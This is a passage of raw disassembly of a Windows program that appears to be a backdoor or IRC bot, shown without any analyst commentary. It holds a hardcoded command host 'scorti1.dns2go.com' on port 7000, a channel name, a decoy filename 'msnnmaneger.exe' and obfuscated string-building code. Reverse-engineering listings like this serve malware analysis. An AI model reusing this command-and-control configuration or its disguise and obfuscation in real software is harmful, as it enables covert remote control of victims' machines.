loc_406F08 ; --------------------------------------------------------------------------- loc_406DB0: ; CODE XREF: ___:00406DA5j mov esi, offset aNetsvcs ; "-netsvcs" mov eax, edi loc_406DB7: ; CODE XREF: ___:00406DD5j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406DDB test cl, cl jz short loc_406DD7 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406DDB add eax, 2 add esi, 2 test cl, cl jnz short loc_406DB7 loc_406DD7: ; CODE XREF: ___:00406DC1j xor eax, eax jmp short loc_406DE0 ; --------------------------------------------------------------------------- loc_406DDB: ; CODE XREF: ___:00406DBDj ; ___:00406DCBj sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DE0: ; CODE XREF: ___:00406DD9j test eax, eax jnz short loc_406DED mov byte ptr [ebx+0Ah], 1 jmp loc_406F08 ; --------------------------------------------------------------------------- loc_406DED: ; CODE XREF: ___:00406DE2j mov esi, offset aBai ; "-bai" mov eax, edi loc_406DF4: ; CODE XREF: ___:00406E12j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406E18 test cl, cl jz short loc_406E14 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406E18 add eax, 2 add esi, 2 test cl, cl jnz short loc_406DF4 loc_406E14: ; CODE XREF: ___:00406DFEj xor eax, eax jmp short loc_406E1D ; --------------------------------------------------------------------------- loc_406E18: ; CODE XREF: ___:00406DFAj ; ___:00406E08j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406E1D: ; CODE XREF: ___:00406E16j test eax, eax jnz loc_406F08 lea ecx, [esp+10h] call sub_401424 mov eax, [esp+468h] push offset aBai ; "-bai" push eax mov dword ptr [esp+468h], 0 nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_406EF4 push eax lea ecx, [esp+14h] call sub_4015D7 push 1 push offset asc_443600 ; " " lea ecx, [esp+30h] push 1 push ecx lea ecx, [esp+20h] call sub_4011EA push offset byte_446F70 mov ecx, eax mov byte ptr [esp+464h], 1 call sub_4012EE lea ecx, [esp+28h] mov esi, eax mov byte ptr [esp+460h], 0 call sub_401226 test esi, esi jz short loc_406EF4 push 1 push offset asc_443600 ; " " lea edx, [esp+48h] push 1 push edx lea ecx, [esp+20h] mov byte ptr [ebx+0Bh], 1 call sub_4011EA push 104h mov ecx, eax mov byte ptr [esp+464h], 2 call sub_401681 push eax lea eax, [ebx+0Ch] push eax nop call near ptr 77C47A90h add esp, 0Ch lea ecx, [esp+40h] mov byte ptr [esp+460h], 0 call sub_401226 add ebp, 4 loc_406EF4: ; CODE XREF: ___:00406E51j ; ___:00406EA1j lea ecx, [esp+10h] mov dword ptr [esp+460h], 0FFFFFFFFh call sub_401226 loc_406F08: ; CODE XREF: ___:00406D6Dj ; ___:00406DABj ... mov eax, [ebp+4] add ebp, 4 test eax, eax jnz loc_406D38 xor ecx, ecx loc_406F18: ; CODE XREF: ___:00406D2Ej mov al, [ebx+4] pop edi pop esi pop ebp test al, al jnz short loc_406F25 mov [ebx+5], ecx loc_406F25: ; CODE XREF: ___:00406F20j cmp [ebx+5], ecx jnz short loc_406F35 test al, al jz short loc_406F35 mov dword ptr [ebx+5], 0Ah loc_406F35: ; CODE XREF: ___:00406F28j ; ___:00406F2Cj mov [ebx+5], ecx mov ecx, [esp+44Ch] mov byte ptr [ebx+4], 0 pop ebx mov large fs:0, ecx add esp, 454h retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 0D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407030 proc near ; CODE XREF: sub_40209Fj var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_407030 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea eax, [esp+18h+var_11] lea ecx, [esi+32h] push eax mov [esp+1Ch+var_4], 0 call sub_401564 sub_407030 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov dword ptr [esi], offset off_43E00C mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4070B0 proc near ; CODE XREF: sub_401591j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_4015D7 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_8] lea eax, [esp+4+arg_0] mov [edx+2Ah], ecx push eax lea ecx, [esi+32h] call sub_4014E2 sub_4070B0 endp ; --------------------------------------------------------------------------- pop esi retn 0Ch ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4070F0 proc near ; CODE XREF: sub_401AF0j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_401AC3 add esi, 32h lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_401622 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_4021BC push eax lea ecx, [esp+14h+var_8] call sub_40183E test al, al jz short loc_40716B mov edi, [esp+10h+arg_0] loc_407133: ; CODE XREF: sub_4070F0+79j push edi lea ecx, [esp+14h+var_8] call sub_40173F mov ecx, [eax] call sub_4012EE test eax, eax lea ecx, [esp+10h+var_8] jz short loc_407175 call sub_401F0A lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_4021BC push eax lea ecx, [esp+14h+var_8] call sub_40183E test al, al jnz short loc_407133 loc_40716B: ; CODE XREF: sub_4070F0+3Dj pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_407175: ; CODE XREF: sub_4070F0+5Aj call sub_40173F mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_4070F0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4071C0 proc near ; CODE XREF: sub_4021F8j xor al, al retn 4 sub_4071C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4071E0 proc near ; CODE XREF: sub_401564j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40119F sub_4071E0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407220 proc near ; CODE XREF: sub_401622j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_401A82 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_402185 mov eax, esi pop esi retn 4 sub_407220 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407260 proc near ; CODE XREF: sub_4021BCj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_402185 mov eax, esi pop esi retn 4 sub_407260 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407290 proc near ; CODE XREF: sub_4014E2j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4021BC mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4013B6 sub_407290 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072D0 proc near ; CODE XREF: sub_401AC3j push esi mov esi, ecx call sub_401B63 mov eax, esi pop esi retn sub_4072D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072F0 proc near ; CODE XREF: sub_40173Fj mov eax, [ecx] push eax call sub_401208 add esp, 4 retn sub_4072F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407310 proc near ; CODE XREF: sub_401F0Aj push esi mov esi, ecx mov eax, [esi] push eax call sub_401A82 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_407310 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407340 proc near ; CODE XREF: sub_40183Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FA0 neg al sbb eax, eax inc eax retn 4 sub_407340 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407370 proc near ; CODE XREF: sub_4013B6j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C8A mov edi, eax push edi call sub_401C58 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40119F sub_407370 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401C58 push edi mov [eax], ebx call sub_401C58 mov edi, [eax] push edi call sub_401C58 mov ecx, [eax] push ecx call sub_401A82 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401208 add esp, 4 mov ecx, esi push eax call sub_401672 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_402185 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407410 proc near ; CODE XREF: sub_40119Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4019C9 sub_407410 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_407425 mov edi, esi loc_407425: ; CODE XREF: ___:00407421j push esi call sub_401A82 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40743A mov edi, esi loc_40743A: ; CODE XREF: ___:00407436j push esi call sub_401C58 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407460 proc near ; CODE XREF: sub_401A82j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_407460 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407480 proc near ; CODE XREF: sub_401208j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_407480 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074A0 proc near ; CODE XREF: sub_401B63j mov eax, ecx retn sub_4074A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074C0 proc near ; CODE XREF: sub_402185j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4011E5 mov eax, esi pop esi retn 4 sub_4074C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074F0 proc near ; CODE XREF: sub_401FA0j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4074F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407520 proc near ; CODE XREF: sub_401C58j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_407520 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407540 proc near ; CODE XREF: sub_4019C9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_407540 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407570 proc near ; CODE XREF: sub_401672j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40109B add esp, 8 retn 8 sub_407570 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075A0 proc near ; CODE XREF: sub_4011E5j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4075A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075C0 proc near ; CODE XREF: sub_401C8Aj mov eax, [ecx] retn sub_4075C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4075E0 proc near ; CODE XREF: sub_401D16j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_4075EA xor eax, eax loc_4075EA: ; CODE XREF: sub_4075E0+6j push eax call sub_4367FA sub_4075E0 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407610 proc near ; CODE XREF: sub_40109Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40762B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40762B: ; CODE XREF: sub_407610+11j retn sub_407610 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407640 proc near ; CODE XREF: sub_4011CCj arg_4 = dword ptr 8 mov eax, [esp+arg_4] retn sub_407640 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407660 proc near ; CODE XREF: sub_401B2Cj var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_407660 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_4] mov [esp+1Ch+var_4], 0 call sub_4017E4 push eax mov eax, [esp+20h+arg_0] push 0 push eax mov ecx, offset word_448D16 call sub_401B5E sub_407660 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4076F0 proc near ; CODE XREF: sub_401CC1j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4076F0 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_1C] mov [esp+1Ch+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+20h+arg_4] call sub_4017E4 push eax mov eax, [esp+24h+arg_0] push eax mov ecx, offset word_448D16 call sub_401B5E sub_4076F0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov byte ptr [esp+8], 0 call sub_401226 lea ecx, [esp+2Ch] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 34h ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407790 proc near ; CODE XREF: sub_40121Cj var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_348 = byte ptr -348h var_330 = byte ptr -330h var_318 = byte ptr -318h var_2F4 = byte ptr -2F4h var_2DC = byte ptr -2DCh var_2C4 = byte ptr -2C4h var_2AC = byte ptr -2ACh var_294 = byte ptr -294h var_27C = byte ptr -27Ch var_264 = byte ptr -264h var_24C = byte ptr -24Ch var_234 = byte ptr -234h var_21C = byte ptr -21Ch var_204 = byte ptr -204h var_1EC = byte ptr -1ECh var_1D4 = byte ptr -1D4h var_1BC = byte ptr -1BCh var_1A4 = byte ptr -1A4h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_15C = byte ptr -15Ch var_144 = byte ptr -144h var_114 = byte ptr -114h var_E4 = byte ptr -0E4h var_CC = byte ptr -0CCh var_B4 = byte ptr -0B4h var_9C = byte ptr -9Ch var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_407790 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 344h push ebx push esi mov esi, ecx push edi lea ecx, [esp+35Ch+var_174] call sub_401424 lea ecx, [esp+35Ch+var_1A4] mov [esp+35Ch+var_4], 0 call sub_401424 lea ecx, [esp+35Ch+var_1D4] mov byte ptr [esp+35Ch+var_4], 1 call sub_401424 lea ecx, [esp+35Ch+var_204] mov byte ptr [esp+35Ch+var_4], 2 call sub_401424 lea ecx, [esp+35Ch+var_2DC] mov byte ptr [esp+35Ch+var_4], 3 call sub_401424 lea ecx, [esp+35Ch+var_2C4] mov byte ptr [esp+35Ch+var_4], 4 call sub_401424 lea ecx, [esp+35Ch+var_234] mov byte ptr [esp+35Ch+var_4], 5 call sub_401424 lea ecx, [esp+35Ch+var_264] mov byte ptr [esp+35Ch+var_4], 6 call sub_401424 lea ecx, [esp+35Ch+var_2F4] mov byte ptr [esp+35Ch+var_4], 7 call sub_401424 lea ecx, [esp+35Ch+var_24] mov byte ptr [esp+35Ch+var_4], 8 call sub_401424 lea ecx, [esp+35Ch+var_54] mov byte ptr [esp+35Ch+var_4], 9 call sub_401424 lea ecx, [esp+35Ch+var_84] mov byte ptr [esp+35Ch+var_4], 0Ah call sub_401424 lea ecx, [esp+35Ch+var_3C] mov byte ptr [esp+35Ch+var_4], 0Bh call sub_401424 lea ecx, [esp+35Ch+var_6C] mov byte ptr [esp+35Ch+var_4], 0Ch call sub_401424 lea ecx, [esp+35Ch+var_294] mov byte ptr [esp+35Ch+var_4], 0Dh call sub_401424 lea ecx, [esp+35Ch+var_15C] mov byte ptr [esp+35Ch+var_4], 0Eh call sub_401424 lea ecx, [esp+35Ch+var_114] mov byte ptr [esp+35Ch+var_4], 0Fh call sub_401424 lea ecx, [esp+35Ch+var_18C] mov byte ptr [esp+35Ch+var_4], 10h call sub_401424 lea ecx, [esp+35Ch+var_144] mov byte ptr [esp+35Ch+var_4], 11h call sub_401424 mov byte ptr [esp+35Ch+var_4], 12h lea ecx, [esp+35Ch+var_1BC] call sub_401424 lea ecx, [esp+35Ch+var_2AC] mov byte ptr [esp+35Ch+var_4], 13h call sub_401424 lea ecx, [esp+35Ch+var_1EC] mov byte ptr [esp+35Ch+var_4], 14h call sub_401424 lea ecx, [esp+35Ch+var_CC] mov byte ptr [esp+35Ch+var_4], 15h call sub_401424 lea ecx, [esp+35Ch+var_21C] mov byte ptr [esp+35Ch+var_4], 16h call sub_401424 lea ecx, [esp+35Ch+var_B4] mov byte ptr [esp+35Ch+var_4], 17h call sub_401424 lea ecx, [esp+35Ch+var_24C] mov byte ptr [esp+35Ch+var_4], 18h call sub_401424 lea ecx, [esp+35Ch+var_E4] mov byte ptr [esp+35Ch+var_4], 19h call sub_401424 lea ecx, [esp+35Ch+var_9C] mov byte ptr [esp+35Ch+var_4], 1Ah call sub_401424 lea ecx, [esp+35Ch+var_27C] mov byte ptr [esp+35Ch+var_4], 1Bh call sub_401424 lea ecx, [esp+35Ch+var_330] mov byte ptr [esp+35Ch+var_4], 1Ch call sub_401424 lea ecx, [esp+35Ch+var_318] mov byte ptr [esp+35Ch+var_4], 1Dh call sub_401424 mov bl, 1Eh push offset aScorti1_dns2go ; "scorti1.dns2go.com" lea ecx, [esp+360h+var_174] mov byte ptr [esp+360h+var_4], bl call sub_401A87 push offset a7000 ; "7000" lea ecx, [esp+360h+var_1A4] call sub_401A87 push offset aSaad ; "saad" lea ecx, [esp+360h+var_2AC] call sub_401A87 push offset aScorti1_dns2go ; "scorti1.dns2go.com" lea ecx, [esp+360h+var_1D4] call sub_401A87 push offset a7000 ; "7000" lea ecx, [esp+360h+var_204] call sub_401A87 push offset aSaad ; "saad" lea ecx, [esp+360h+var_1EC] call sub_401A87 push offset aScop ; "#scop#" lea ecx, [esp+360h+var_2DC] call sub_401A87 push offset aS_1 ; "#s" lea ecx, [esp+360h+var_27C] call sub_401A87 push offset aServec ; "servec" lea ecx, [esp+360h+var_2C4] call sub_401A87 push offset aMsnnmaneger_ex ; "msnnmaneger.exe" lea ecx, [esp+360h+var_234] call sub_401A87 push offset aWintwir ; "wintwir" lea ecx, [esp+360h+var_264] call sub_401A87 push offset aTahy ; "TAHY-" lea ecx, [esp+360h+var_2F4] call sub_401A87 push offset aAbosal7 ; "abosal7" lea ecx, [esp+360h+var_294] call sub_401A87 push offset aE10adc3949ba59 ; "E10ADC3949BA59ABBE56E057F20F883E" lea ecx, [esp+360h+var_15C] call sub_401A87 push offset aAdmin_com ; "admin.com" lea ecx, [esp+360h+var_114] call sub_401A87 push offset aTsinternetuser ; "TsInternetUser" lea ecx, [esp+360h+var_18C] call sub_401A87 push offset aHotfix ; "hotfix" lea ecx, [esp+360h+var_144] call sub_401A87 push offset dword_4437F8 lea ecx, [esp+360h+var_CC] call sub_401A87 push 0 push 4Bh push 48h push 4Ah push 47h push 4Ch push 48h push 4Bh push 48h push 45h lea eax, [esp+384h+var_348] push 46h push eax call sub_4019B5 add esp, 30h push eax lea ecx, [esp+360h+var_1BC] mov byte ptr [esp+360h+var_4], 1Fh call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 0Dh push 4Fh push 18h push 9 push 6 push 14h push 0Fh lea ecx, [esp+39Ch+var_348] push 8 push ecx call sub_4019B5 add esp, 48h push eax lea ecx, [esp+360h+var_21C] mov byte ptr [esp+360h+var_4], 20h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea edx, [esp+36Ch+var_348] push 45h push edx call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_B4] mov byte ptr [esp+360h+var_4], 21h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea eax, [esp+36Ch+var_348] push 45h push eax call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_E4] mov byte ptr [esp+360h+var_4], 22h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 44h push 49h lea ecx, [esp+368h+var_348] push 46h push ecx call sub_4019B5 add esp, 14h push eax lea ecx, [esp+360h+var_24C] mov byte ptr [esp+360h+var_4], 23h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea edx, [esp+36Ch+var_348] push 45h push edx call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_9C] mov byte ptr [esp+360h+var_4], 24h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 15h push 12h lea eax, [esp+36Ch+var_348] push 14h push eax call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_330] mov byte ptr [esp+360h+var_4], 25h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 13h push 0Ch push 1 lea ecx, [esp+370h+var_348] push 6 push ecx call sub_4019B5 add esp, 1Ch push eax lea ecx, [esp+360h+var_318] mov byte ptr [esp+360h+var_4], 26h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 lea ecx, [esp+35Ch+var_2C4] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+374h+var_34C], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+3D0h+var_348] push 13h push edx mov byte ptr [esp+3D8h+var_4], 27h call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+374h+var_4], 28h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+38Ch+var_350], esp push eax call sub_401861 lea eax, [esi+0FECh] mov ecx, esi push eax mov byte ptr [esp+390h+var_4], 29h call sub_401CC1 sub_407790 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+80h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Eh push 1 mov byte ptr [esp+37Ch], 2Ah push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+88h] push 13h push ecx call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 2Bh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+1035h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 2Ch call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1B8h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+78h] push 13h push eax mov byte ptr [esp+3C4h], 2Dh call sub_4019B5 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 2Eh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea ecx, [esi+0FA3h] mov byte ptr [esp+388h], 2Fh push ecx mov ecx, esi call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1E8h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+80h] push 13h push edx mov byte ptr [esp+3CCh], 30h call sub_4019B5 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 31h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+0F5Ah] mov ecx, esi push eax mov byte ptr [esp+38Ch], 32h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+68h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 18h push 9 push 6 push 5 push 12h mov byte ptr [esp+388h], 33h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+90h] push 13h push ecx call sub_4019B5 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 34h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edi, [esi+0E7Fh] mov ecx, esi push edi mov byte ptr [esp+38Ch], 35h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+0B0h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h 